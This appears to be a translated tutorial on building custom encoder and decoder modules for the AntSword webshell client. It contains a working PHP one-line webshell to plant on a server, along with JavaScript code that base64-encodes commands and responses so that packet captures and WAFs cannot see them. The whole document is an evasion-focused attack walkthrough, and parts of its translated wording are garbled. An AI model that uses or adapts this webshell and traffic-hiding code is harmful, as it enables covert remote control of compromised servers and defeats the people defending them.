Principle of ant sword codec
Encoder: encode the transmission traffic and the server decodes it
Decoder: decode the returned traffic from the server
1, Encoder
Enter three parameters pwd: Connection password, type string. data: Data array transferred, type string Array,. ext: Some extension options may be used in some scenarios. Output a parameter data: The array processed by the encoder, which you can view through the agent post What data has been submitted, and here data It's exactly the same
The following is the code generated by the encoder by default
Principle: pass all the encoded and decrypted codes to the past
When capturing packets, we will see a plaintext code, that is, the decrypted code
Functions of the following codes:
- Encode the data to be sent, corresponding to data[randomID]
- Decode the data received from the server, corresponding to data[pwd], and after decoding, it will still be sent to the server again, so you can see the plaintext transmission in the requestBody
/** * php::base64 encoder * Create at: 2021/10/17 14:07:48 */ 'use strict'; /* * @param {String} pwd Connection password * @param {Array} data payload array before encoder processing * @return {Array} data payload array processed by encoder */ module.exports = (pwd, data, ext={}) => { // ##########Please write your own code below################### // The following code is an example of PHP Base64 // Generate a random variable name let randomID = `_0x${Math.random().toString(16).substr(2)}`; // The original payload is in data [''] // After it is taken out, it is converted to base64 coding and placed under randomID key data[randomID] = Buffer.from(data['_']).toString('base64'); // After receiving the payload, the shell first processes the contents under the pwd parameter, data[pwd] = Buffer.from(data['_']).toString('base64'); // ##########Please write your own code above################### // Delete_ Original payload delete data['_']; // Returns the payload array processed by the encoder return data; }
Encoder modification
If you do not want to pass the decoded code, you need to change the following two contents
-
webshell uploaded to the server (one sentence Trojan horse)
<?php eval(base64_decode($_POST["test"]));?>
-
Modify the content of the encoder so that it does not send the decoded content, but only the base64 encoded data
/** * php::base64 encoder * Create at: 2021/10/17 22:03:40 */ 'use strict'; /* * @param {String} pwd Connection password * @param {Array} data payload array before encoder processing * @return {Array} data payload array processed by encoder */ module.exports = (pwd, data, ext={}) => { // ##########Please write your own code below################### // The following code is an example of PHP Base64 // Generate a random variable name //let randomID = `_0x${Math.random().toString(16).substr(2)}`; // The original payload is in data [''] // After it is taken out, it is converted to base64 coding and placed under randomID key //data[randomID] = Buffer.from(data['_']).toString('base64'); // After receiving the payload, the shell first processes the contents under the pwd parameter, data[pwd] = Buffer.from(data['_']).toString('base64'); // ##########Please write your own code above################### // Delete_ Original payload delete data['_']; // Returns the payload array processed by the encoder return data; }
Then connect and a successful connection will be displayed
Finally, take a look at the packet, so you can't see the decoded code, and the concealment has been greatly improved
However, if the command is executed through the virtual terminal, the defender can execute the echo content through the command, and then judge that it is an attack event
Therefore, we also need to consider the decoding module, that is, the decoder should not choose the default mode
2, Decoder
First, let's take a look at the two key decoding functions asoutput and decode_buff
- asoutput: encode the returned data
- decode_buff: decode when receiving
ext is an extension option, including password and other options. It can be extended. For example, a key is required for decoding.
/** * php::base64 decoder * Create at: 2021/10/17 22:02:33 */ 'use strict'; module.exports = { /** * @returns {string} asenc The returned data is base64 encoded * Custom output function name must be asenc * The syntax used in this function needs to be consistent with the shell */ asoutput: () => { return `function asenc($out){ return @base64_encode($out); } `.replace(/\n\s+/g, ''); }, /** * Decoding Buffer * @param {string} data Buffer to be decoded * @returns {string} Decoded Buffer */ decode_buff: (data, ext={}) => { return Buffer.from(data.toString(), 'base64'); } }
After the decoder is written and tested, it will be found that the response packet is also encrypted, and there is a boundary string before and after the returned part. Only the client knows the boundary location. WAF doesn't know, so it can't decode
However, with the continuous development and progress of random technology, WAF can also effectively identify base64 coding through regular matching, so we need more complex encryption without bypassing WAF
For example, when we execute a command, because the command is fixed, it is also fixed after coding, so we can use it as a feature to detect